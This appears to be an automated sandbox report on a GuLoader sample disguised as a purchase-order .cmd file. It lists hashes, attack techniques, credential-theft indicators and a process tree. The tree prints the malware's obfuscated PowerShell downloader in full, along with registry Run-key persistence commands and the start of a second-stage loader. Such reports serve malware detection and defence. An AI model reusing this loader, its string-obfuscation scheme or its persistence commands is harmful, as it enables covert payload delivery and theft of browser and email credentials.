guloader | 1dc7435dee3d361dd7de77f4b0795c28e2d4f73a4b16132822260002742e5096

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02/09/2024, 10:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Rfq_last_quater_product_purchase_order_import_list_2024_000000.cmd
Size 4KB
Sample240902-mwdaaaycll
SHA256 a16e6ab8d42469af04bbab862b8676b048cd5a597c4bd2691e604ff36b532958
MD5 1ee8086d368635f0d555947f57594733
SHA1 efb679be50e6c248604a6776495d84606e0ff87f
SHA512 cb57d866414409c5ef0cfdd1c56fc296c10737f75f13d5cadd1b3bff9cc7dd2c8a658feb4c7c1226f84bf06cb8e1d8fb271749ee48b5d98ca9e765d799b2c863
SSDEEP 96:mQ+3LAMeI47OSNPzW3sVEaOIvBUGevTGS2KufGyK1fp:mQqVs71PSuGvTlufGV
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader collection credential_access discovery downloader execution persistence stealer

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/1248-75-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4500-77-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/4016-76-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/4500-77-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/memory/4016-76-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 3 IoCs

flow	pid	Process
8	1676	powershell.exe
35	1676	powershell.exe
52	1424	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1676	powershell.exe
1424	powershell.exe
2080	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Lungy = "%pigeonholes% -w 1 $Pseudospectral=(Get-ItemProperty -Path 'HKCU:\\Portefljernes\\').Skuespiller;%pigeonholes% ($Pseudospectral)"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bilateralities = "%Arrestationernes110% -w 1 $Faucals83=(Get-ItemProperty -Path 'HKCU:\\sttyskers\\').talevant;%Arrestationernes110% ($Faucals83)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 4 IoCs

pid	Process
1320	wab.exe
1320	wab.exe
1884	wab.exe
1884	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

pid	Process
2268	powershell.exe
1320	wab.exe
2080	powershell.exe
1884	wab.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 2268 set thread context of 1320	2268	powershell.exe	102
PID 1320 set thread context of 4016	1320	wab.exe	106
PID 1320 set thread context of 4500	1320	wab.exe	107
PID 1320 set thread context of 1248	1320	wab.exe	108
PID 2080 set thread context of 1884	2080	powershell.exe	115

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	wab.exe

Modifies registry key 1 TTPs 2 IoCs

Modify Registry

T1112

pid	Process
3580	reg.exe
3564	reg.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
1676	powershell.exe
1676	powershell.exe
2268	powershell.exe
2268	powershell.exe
2268	powershell.exe
1248	wab.exe
1248	wab.exe
4016	wab.exe
4016	wab.exe
4016	wab.exe
4016	wab.exe
1424	powershell.exe
1424	powershell.exe
2080	powershell.exe
2080	powershell.exe
2080	powershell.exe
1884	wab.exe
1884	wab.exe
1884	wab.exe
1884	wab.exe
1884	wab.exe
1884	wab.exe
1884	wab.exe
1884	wab.exe
1884	wab.exe
1884	wab.exe
1884	wab.exe
1884	wab.exe
1884	wab.exe
1884	wab.exe

Suspicious behavior: MapViewOfSection 5 IoCs

pid	Process
2268	powershell.exe
1320	wab.exe
1320	wab.exe
1320	wab.exe
2080	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1676	powershell.exe
Token: SeDebugPrivilege	2268	powershell.exe
Token: SeDebugPrivilege	1248	wab.exe
Token: SeDebugPrivilege	1424	powershell.exe
Token: SeDebugPrivilege	2080	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1320	wab.exe

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 2768 wrote to memory of 1676	2768	cmd.exe	84
PID 2768 wrote to memory of 1676	2768	cmd.exe	84
PID 1676 wrote to memory of 3300	1676	powershell.exe	86
PID 1676 wrote to memory of 3300	1676	powershell.exe	86
PID 1676 wrote to memory of 2268	1676	powershell.exe	100
PID 1676 wrote to memory of 2268	1676	powershell.exe	100
PID 1676 wrote to memory of 2268	1676	powershell.exe	100
PID 2268 wrote to memory of 4288	2268	powershell.exe	101
PID 2268 wrote to memory of 4288	2268	powershell.exe	101
PID 2268 wrote to memory of 4288	2268	powershell.exe	101
PID 2268 wrote to memory of 1320	2268	powershell.exe	102
PID 2268 wrote to memory of 1320	2268	powershell.exe	102
PID 2268 wrote to memory of 1320	2268	powershell.exe	102
PID 2268 wrote to memory of 1320	2268	powershell.exe	102
PID 2268 wrote to memory of 1320	2268	powershell.exe	102
PID 1320 wrote to memory of 3292	1320	wab.exe	103
PID 1320 wrote to memory of 3292	1320	wab.exe	103
PID 1320 wrote to memory of 3292	1320	wab.exe	103
PID 3292 wrote to memory of 3580	3292	cmd.exe	105
PID 3292 wrote to memory of 3580	3292	cmd.exe	105
PID 3292 wrote to memory of 3580	3292	cmd.exe	105
PID 1320 wrote to memory of 4016	1320	wab.exe	106
PID 1320 wrote to memory of 4016	1320	wab.exe	106
PID 1320 wrote to memory of 4016	1320	wab.exe	106
PID 1320 wrote to memory of 4016	1320	wab.exe	106
PID 1320 wrote to memory of 4500	1320	wab.exe	107
PID 1320 wrote to memory of 4500	1320	wab.exe	107
PID 1320 wrote to memory of 4500	1320	wab.exe	107
PID 1320 wrote to memory of 4500	1320	wab.exe	107
PID 1320 wrote to memory of 1248	1320	wab.exe	108
PID 1320 wrote to memory of 1248	1320	wab.exe	108
PID 1320 wrote to memory of 1248	1320	wab.exe	108
PID 1320 wrote to memory of 1248	1320	wab.exe	108
PID 1320 wrote to memory of 1920	1320	wab.exe	109
PID 1320 wrote to memory of 1920	1320	wab.exe	109
PID 1320 wrote to memory of 1920	1320	wab.exe	109
PID 1920 wrote to memory of 1424	1920	WScript.exe	110
PID 1920 wrote to memory of 1424	1920	WScript.exe	110
PID 1920 wrote to memory of 1424	1920	WScript.exe	110
PID 1424 wrote to memory of 2632	1424	powershell.exe	112
PID 1424 wrote to memory of 2632	1424	powershell.exe	112
PID 1424 wrote to memory of 2632	1424	powershell.exe	112
PID 1424 wrote to memory of 2080	1424	powershell.exe	113
PID 1424 wrote to memory of 2080	1424	powershell.exe	113
PID 1424 wrote to memory of 2080	1424	powershell.exe	113
PID 2080 wrote to memory of 1836	2080	powershell.exe	114
PID 2080 wrote to memory of 1836	2080	powershell.exe	114
PID 2080 wrote to memory of 1836	2080	powershell.exe	114
PID 2080 wrote to memory of 1884	2080	powershell.exe	115
PID 2080 wrote to memory of 1884	2080	powershell.exe	115
PID 2080 wrote to memory of 1884	2080	powershell.exe	115
PID 2080 wrote to memory of 1884	2080	powershell.exe	115
PID 2080 wrote to memory of 1884	2080	powershell.exe	115
PID 1884 wrote to memory of 3156	1884	wab.exe	116
PID 1884 wrote to memory of 3156	1884	wab.exe	116
PID 1884 wrote to memory of 3156	1884	wab.exe	116
PID 3156 wrote to memory of 3564	3156	cmd.exe	118
PID 3156 wrote to memory of 3564	3156	cmd.exe	118
PID 3156 wrote to memory of 3564	3156	cmd.exe	118

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Rfq_last_quater_product_purchase_order_import_list_2024_000000.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "If (${host}.CurrentUICulture) {$Spinelle159='SUBsTR';$Enoghalvfjerds++;}$Spinelle159+='ing';Function koldingenser($Advertiser){$Floccules=$Advertiser.Length-$Enoghalvfjerds;For( $Opbygningerne=2;$Opbygningerne -lt $Floccules;$Opbygningerne+=3){$Smeltesikringerne152+=$Advertiser.$Spinelle159.'Invoke'( $Opbygningerne, $Enoghalvfjerds);}$Smeltesikringerne152;}function Botchedly118($Belejringstilstandenes){ & ($Tilbagefrelsen) ($Belejringstilstandenes);}$Unfolding=koldingenser 'UvMKaoBuz iTelZal,taYd/Ud5In. c0 i Ba( rWTii,onUdd AoDowD,s,n .N T y Ar1 ,0Te.Tr0b.;Pe A WMeiUnn P6B,4,y;Sp Dix F6 ,4H.;Re D.rGevac:Pi1Ju2 U1Ha.Eu0 F) , K G.le Dc.ikPro D/On2Co0Ci1 M0 G0P,1V 0,j1C, ErFsti nr MePefSto OxSo/,t1 R2U 1 M.Sp0 ';$Haandvrksmesteren117=koldingenser 'BeU KsD eSir T-MeASpgO,eC n pt . ';$Bodemiddel=koldingenser ' eh ,t .tBip.rsTa:Li/So/Zia.iv ,oS,cDra.rl,odBoo EpCoeExrC,uM..dec FoslmTe/GgTKooSkpI.3Sa.Vep ,nM g n> MhP t BtFopDasOp:Bu/Fo/WaaExvEpo RcP a RlstdKnoInp.ne ,rS.uTroSlnC.e,r.F,c Ao .m,l/r.Tv,oHapAd3B,.SapFun .g , ';$Moen=koldingenser ' V> O ';$Tilbagefrelsen=koldingenser ' MiHoe Cx a ';$Samlerobjekt='Nationalisations';$Pindsvinestillingers = koldingenser 'Ame IcBehKaoPr T.%Dea Tp upApd Da PtT a,e%Ra\K,SCauBefPlfC r Da g,oiAltAniLos,h.CoHNeaGtmZi ,&Co&Sa B eMicC,hOvo.y Unt U ';Botchedly118 (koldingenser 've$ ug Cl uoD.b MaTyl M:LiO,rfMetBreVen S=A.(TrcFimTodSp ge/KocNo Q$DiP ,iManBrdCasSgvMiiTenBee es t i ylK l .iOsnU.gPee PrCasRe)Ud ');Botchedly118 (koldingenser ' R$Meg LlJooKlbFlaPrlDi: TFoa uBrtFoo SlTjo Ig HiArsBoiNanKag e= I$ dB UoSpdEveKomBriF dS.d .eAkl,a.,jsLbpO lSkiDitSy(fo$ SMVeoKeeR,nKo) v ');Botchedly118 (koldingenser 'l,[DaNSpeNotni.B,SAteo.r SvSki PcS eS.PAmoSki nRetanMNeaWenMaaRag We PrNo]F,:I :U,SC.eupcreuEcrSqiP,tS.yElP r .oBltBao,ocKioRelS. I,=Ca ,u[H.NFaeNotKo.EkSN.ePrct,uKlrU,i,atG yPePBrr EoUnt To.rcOvoF.lBoT SyTwpAse ,]Tc:U :TuTKvlS.spa1Pr2,t ');$Bodemiddel=$Tautologising[0];$Teltslagningernes= (koldingenser 'An$Drg .l foEnb,kaNulT.:F.N TaAdzPoi,rtPri.plEghSnnTegHaeRerMangye O=.oNN eSkwOr-F OS.b jMie McSptTe ,rS y .sdet Seapm u.BaNCoeFlt .PrW,ieVabbuCNel yiune TnAft');$Teltslagningernes+=$Often[1];Botchedly118 ($Teltslagningernes);Botchedly118 (koldingenser 'Ov$H,NF aVizExiF tSmiKllCahBjnFigEme ,rU,nSkeSi.P.H,peBaa AdSteE rH,sKo[ .$DoHRaa,ea SnA,d DvOlrAgk DsStmcaeTes,ct aeCarSoehynGr1 M1.u7De] = R$C,U An PfGaoStltydeniPrn.egMe ');$Rentebelbets84=koldingenser 'Un$s NDea Sz Vis tLeiAulNahShnUdg IeCor SnS,esp.LaDR.oSewPonerlKaoHjaMedSaFtiiAflNeeps(St$BrB Po PdT.eS,mF.i dr.d eeJolBe,gy$DiCReiCot UrLeoI.nm p pr me s,rs,aeMurLisD,)B, ';$Citronpressers=$Often[0];Botchedly118 (koldingenser ',i$OegA ldioArbmoaV.lY.: DF,tjIneRerDkbSvo RlK,dB =Ta(ReT ,eRasR.t -,ePStah,t oha, Co$BaCI i,it.hrClo n gpP.r,te esVosSee Sr Ms B) S ');while (!$Fjerbold) {Botchedly118 (koldingenser 'K,$,ug lE,oR,b BaR lFr:,ncchl RoO,sCohP.= S$ tt Cr uInete ') ;Botchedly118 $Rentebelbets84;Botchedly118 (koldingenser ' KSChtG,aElrs.t U- ISEllM,eU.eF pS Ch4E. ');Botchedly118 (koldingenser 'Ci$Ang elReoEub,haAglHj:F FExjT eDyrrebBaoIll ZdCa=Vg(p T heUssCrtS.-.oPFeaEptSeh O Se$F,C i.utUtr.eoSanB,p DrPaeVis lsRoe DrSas H)Re ') ;Botchedly118 (koldingenser 'U,$Syg HlSpoS,b.naPrlBr: FI,rn ,fSno.elStiN,a,ntKteR,=Bl$DegFolOsoAmbSaaI.l,a:L,P .adorSja.el.nl HeGelDio otFrrM.o.lpnii Bc S+sh+Mu% S$P,T saD,uWetIno .lIno TgSoiFis iRunUngBa. ycMuo.wu cn AtSt ') ;$Bodemiddel=$Tautologising[$Infoliate];}$Arielles=295285;$elaphomyces=27241;Botchedly118 (koldingenser ',j$F g ,lUmoFrbP,aV l U:.nDLyo auBebQul Ae Bl Ke ,aTrfP, .v=U, LeGL.eWots,-ThC,toGrn.ntM eLinAztr. A$E.CSeiOrtT rTeoManAkpR.rFoeTas.ls KeBarLusB, ');Botchedly118 (koldingenser ' $LigAplImo,eb.ra.nl.o: .MG iEpcSirGroDim.iiRen Ki uaSatPau ,rSki,uzDee tdRa E,= T Lg[S,S,uyC.s tAneprmEc.GnCOvoq.nAxv Ie SrRetCa]Be: k:SeF.er Aorom.aBH.aPes re,o6 4 GS.mtgar Ti NnCegK.(Un$ D RoDiuBebtel,ee Al eeUnaUsf V)B, ');Botchedly118 (koldingenser 'D $Stg ,lReoKvb .a olTa:BrS ryCln ecStrH,eOvtc iBesPomT 1As6 B2mi o,=U. ,r[SuS ,y UsPatHee MmHe.SlT.jeBrxHatBr. EB.n.ic.no DdViiU,nBrgSk] : D:IrAMoSSyCPrIMaIre.TiGPreZotIgSG,tjorR,i .nufgIn(Ar$ ,MD iPhc Or .oS,mSeiUdnBriSpaInt uPrr.aiGezDdeAsdWa)On ');Botchedly118 (koldingenser 'so$UdgPilRuoVibGraStlNr:.oMSpaExlHalV.uIrsAr7.o2De=b.$HyS yG,nCrc,ir,aeN tAciSesramA.1Ud6ho2Te.YasTeuDebSts,btSvr i kn,pgpi(Fo$InA.arTii oeNolh.l AeGasA,,Ov$.ueTrlScaNopPah SoFam,ryTac Selasfy)Br ');Botchedly118 $Mallus72;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1676
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Suffragitis.Ham && echo t"
    3⤵
    PID:3300
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentUICulture) {$Spinelle159='SUBsTR';$Enoghalvfjerds++;}$Spinelle159+='ing';Function koldingenser($Advertiser){$Floccules=$Advertiser.Length-$Enoghalvfjerds;For( $Opbygningerne=2;$Opbygningerne -lt $Floccules;$Opbygningerne+=3){$Smeltesikringerne152+=$Advertiser.$Spinelle159.'Invoke'( $Opbygningerne, $Enoghalvfjerds);}$Smeltesikringerne152;}function Botchedly118($Belejringstilstandenes){ & ($Tilbagefrelsen) ($Belejringstilstandenes);}$Unfolding=koldingenser 'UvMKaoBuz iTelZal,taYd/Ud5In. c0 i Ba( rWTii,onUdd AoDowD,s,n .N T y Ar1 ,0Te.Tr0b.;Pe A WMeiUnn P6B,4,y;Sp Dix F6 ,4H.;Re D.rGevac:Pi1Ju2 U1Ha.Eu0 F) , K G.le Dc.ikPro D/On2Co0Ci1 M0 G0P,1V 0,j1C, ErFsti nr MePefSto OxSo/,t1 R2U 1 M.Sp0 ';$Haandvrksmesteren117=koldingenser 'BeU KsD eSir T-MeASpgO,eC n pt . ';$Bodemiddel=koldingenser ' eh ,t .tBip.rsTa:Li/So/Zia.iv ,oS,cDra.rl,odBoo EpCoeExrC,uM..dec FoslmTe/GgTKooSkpI.3Sa.Vep ,nM g n> MhP t BtFopDasOp:Bu/Fo/WaaExvEpo RcP a RlstdKnoInp.ne ,rS.uTroSlnC.e,r.F,c Ao .m,l/r.Tv,oHapAd3B,.SapFun .g , ';$Moen=koldingenser ' V> O ';$Tilbagefrelsen=koldingenser ' MiHoe Cx a ';$Samlerobjekt='Nationalisations';$Pindsvinestillingers = koldingenser 'Ame IcBehKaoPr T.%Dea Tp upApd Da PtT a,e%Ra\K,SCauBefPlfC r Da g,oiAltAniLos,h.CoHNeaGtmZi ,&Co&Sa B eMicC,hOvo.y Unt U ';Botchedly118 (koldingenser 've$ ug Cl uoD.b MaTyl M:LiO,rfMetBreVen S=A.(TrcFimTodSp ge/KocNo Q$DiP ,iManBrdCasSgvMiiTenBee es t i ylK l .iOsnU.gPee PrCasRe)Ud ');Botchedly118 (koldingenser ' R$Meg LlJooKlbFlaPrlDi: TFoa uBrtFoo SlTjo Ig HiArsBoiNanKag e= I$ dB UoSpdEveKomBriF dS.d .eAkl,a.,jsLbpO lSkiDitSy(fo$ SMVeoKeeR,nKo) v ');Botchedly118 (koldingenser 'l,[DaNSpeNotni.B,SAteo.r SvSki PcS eS.PAmoSki nRetanMNeaWenMaaRag We PrNo]F,:I :U,SC.eupcreuEcrSqiP,tS.yElP r .oBltBao,ocKioRelS. I,=Ca ,u[H.NFaeNotKo.EkSN.ePrct,uKlrU,i,atG yPePBrr EoUnt To.rcOvoF.lBoT SyTwpAse ,]Tc:U :TuTKvlS.spa1Pr2,t ');$Bodemiddel=$Tautologising[0];$Teltslagningernes= (koldingenser 'An$Drg .l foEnb,kaNulT.:F.N TaAdzPoi,rtPri.plEghSnnTegHaeRerMangye O=.oNN eSkwOr-F OS.b jMie McSptTe ,rS y .sdet Seapm u.BaNCoeFlt .PrW,ieVabbuCNel yiune TnAft');$Teltslagningernes+=$Often[1];Botchedly118 ($Teltslagningernes);Botchedly118 (koldingenser 'Ov$H,NF aVizExiF tSmiKllCahBjnFigEme ,rU,nSkeSi.P.H,peBaa AdSteE rH,sKo[ .$DoHRaa,ea SnA,d DvOlrAgk DsStmcaeTes,ct aeCarSoehynGr1 M1.u7De] = R$C,U An PfGaoStltydeniPrn.egMe ');$Rentebelbets84=koldingenser 'Un$s NDea Sz Vis tLeiAulNahShnUdg IeCor SnS,esp.LaDR.oSewPonerlKaoHjaMedSaFtiiAflNeeps(St$BrB Po PdT.eS,mF.i dr.d eeJolBe,gy$DiCReiCot UrLeoI.nm p pr me s,rs,aeMurLisD,)B, ';$Citronpressers=$Often[0];Botchedly118 (koldingenser ',i$OegA ldioArbmoaV.lY.: DF,tjIneRerDkbSvo RlK,dB =Ta(ReT ,eRasR.t -,ePStah,t oha, Co$BaCI i,it.hrClo n gpP.r,te esVosSee Sr Ms B) S ');while (!$Fjerbold) {Botchedly118 (koldingenser 'K,$,ug lE,oR,b BaR lFr:,ncchl RoO,sCohP.= S$ tt Cr uInete ') ;Botchedly118 $Rentebelbets84;Botchedly118 (koldingenser ' KSChtG,aElrs.t U- ISEllM,eU.eF pS Ch4E. ');Botchedly118 (koldingenser 'Ci$Ang elReoEub,haAglHj:F FExjT eDyrrebBaoIll ZdCa=Vg(p T heUssCrtS.-.oPFeaEptSeh O Se$F,C i.utUtr.eoSanB,p DrPaeVis lsRoe DrSas H)Re ') ;Botchedly118 (koldingenser 'U,$Syg HlSpoS,b.naPrlBr: FI,rn ,fSno.elStiN,a,ntKteR,=Bl$DegFolOsoAmbSaaI.l,a:L,P .adorSja.el.nl HeGelDio otFrrM.o.lpnii Bc S+sh+Mu% S$P,T saD,uWetIno .lIno TgSoiFis iRunUngBa. ycMuo.wu cn AtSt ') ;$Bodemiddel=$Tautologising[$Infoliate];}$Arielles=295285;$elaphomyces=27241;Botchedly118 (koldingenser ',j$F g ,lUmoFrbP,aV l U:.nDLyo auBebQul Ae Bl Ke ,aTrfP, .v=U, LeGL.eWots,-ThC,toGrn.ntM eLinAztr. A$E.CSeiOrtT rTeoManAkpR.rFoeTas.ls KeBarLusB, ');Botchedly118 (koldingenser ' $LigAplImo,eb.ra.nl.o: .MG iEpcSirGroDim.iiRen Ki uaSatPau ,rSki,uzDee tdRa E,= T Lg[S,S,uyC.s tAneprmEc.GnCOvoq.nAxv Ie SrRetCa]Be: k:SeF.er Aorom.aBH.aPes re,o6 4 GS.mtgar Ti NnCegK.(Un$ D RoDiuBebtel,ee Al eeUnaUsf V)B, ');Botchedly118 (koldingenser 'D $Stg ,lReoKvb .a olTa:BrS ryCln ecStrH,eOvtc iBesPomT 1As6 B2mi o,=U. ,r[SuS ,y UsPatHee MmHe.SlT.jeBrxHatBr. EB.n.ic.no DdViiU,nBrgSk] : D:IrAMoSSyCPrIMaIre.TiGPreZotIgSG,tjorR,i .nufgIn(Ar$ ,MD iPhc Or .oS,mSeiUdnBriSpaInt uPrr.aiGezDdeAsdWa)On ');Botchedly118 (koldingenser 'so$UdgPilRuoVibGraStlNr:.oMSpaExlHalV.uIrsAr7.o2De=b.$HyS yG,nCrc,ir,aeN tAciSesramA.1Ud6ho2Te.YasTeuDebSts,btSvr i kn,pgpi(Fo$InA.arTii oeNolh.l AeGasA,,Ov$.ueTrlScaNopPah SoFam,ryTac Selasfy)Br ');Botchedly118 $Mallus72;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2268
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Suffragitis.Ham && echo t"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4288
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1320
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lungy" /t REG_EXPAND_SZ /d "%pigeonholes% -w 1 $Pseudospectral=(Get-ItemProperty -Path 'HKCU:\Portefljernes\').Skuespiller;%pigeonholes% ($Pseudospectral)"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:3292
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Lungy" /t REG_EXPAND_SZ /d "%pigeonholes% -w 1 $Pseudospectral=(Get-ItemProperty -Path 'HKCU:\Portefljernes\').Skuespiller;%pigeonholes% ($Pseudospectral)"
        6⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:3580
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\abnznqpbotslvaieybjizkp"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4016
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\kwssnbadcbkqyheipleccxjjhe"
        5⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:4500
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\myydotlxqjcuinsmzwqdmcwaptpfg"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1248
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Andragendet8.vbs"
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1920
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentUICulture) {$alismataceae='SUBsTR';$Lotah++;}$alismataceae+='ing';Function Viscometres($Rubellosis){$Overdaadigt=$Rubellosis.Length-$Lotah;For( $dekanterendes=2;$dekanterendes -lt $Overdaadigt;$dekanterendes+=3){$Firblads159+=$Rubellosis.$alismataceae.'Invoke'( $dekanterendes, $Lotah);}$Firblads159;}function Tilfredsstillelse($konerne){ . ($Hemibasidiomycetes) ($konerne);}$Annegretes=Viscometres 'BuMVio.lzNyiEfl,ilPraPr/Sn5Te.Fr0f ,l(gaW Ti.anSpds o,aw asFi h N aTAs z1,a0Sy.ud0Bi;bi TpW ,iOpnV,6Te4 C; r Bix P6Ud4Ng; ,trUnv ,: .1Sk2,r1,l.Di0Va),n ,GPre .cSkk oG,/Sm2Fa0R.1Ug0 .0ap1So0 R1Ge VeFS.iSar deStfrioRaxKu/ 1 P2,h1Os. .0 , ';$Milieuplanerne=Viscometres 'YoUVesLreTerPr-W A,rgRhe,yn,ct.u ';$Bageriers=Viscometres 'EnhFotAnt p L:Re/.l/IlcN.p.oaJunS.e lC.-Sma ndD.m ,iOpnT.h uoPesF t E..fcU.oKom.a/DeS PtN emevChnSts T1Ta7 C9Si.R mYoiAux.o ';$Arish=Viscometres 'Se>Re ';$Hemibasidiomycetes=Viscometres 'AmiGeePrxUd ';$Svaerd='Incisal';$dekanterendesndoneser = Viscometres 'w,er,cExh eoCh F %ReaInpCap dL aP,tU.aMo%H.\ChBLie.olAsi Un SdToaDe1Ch0 .3 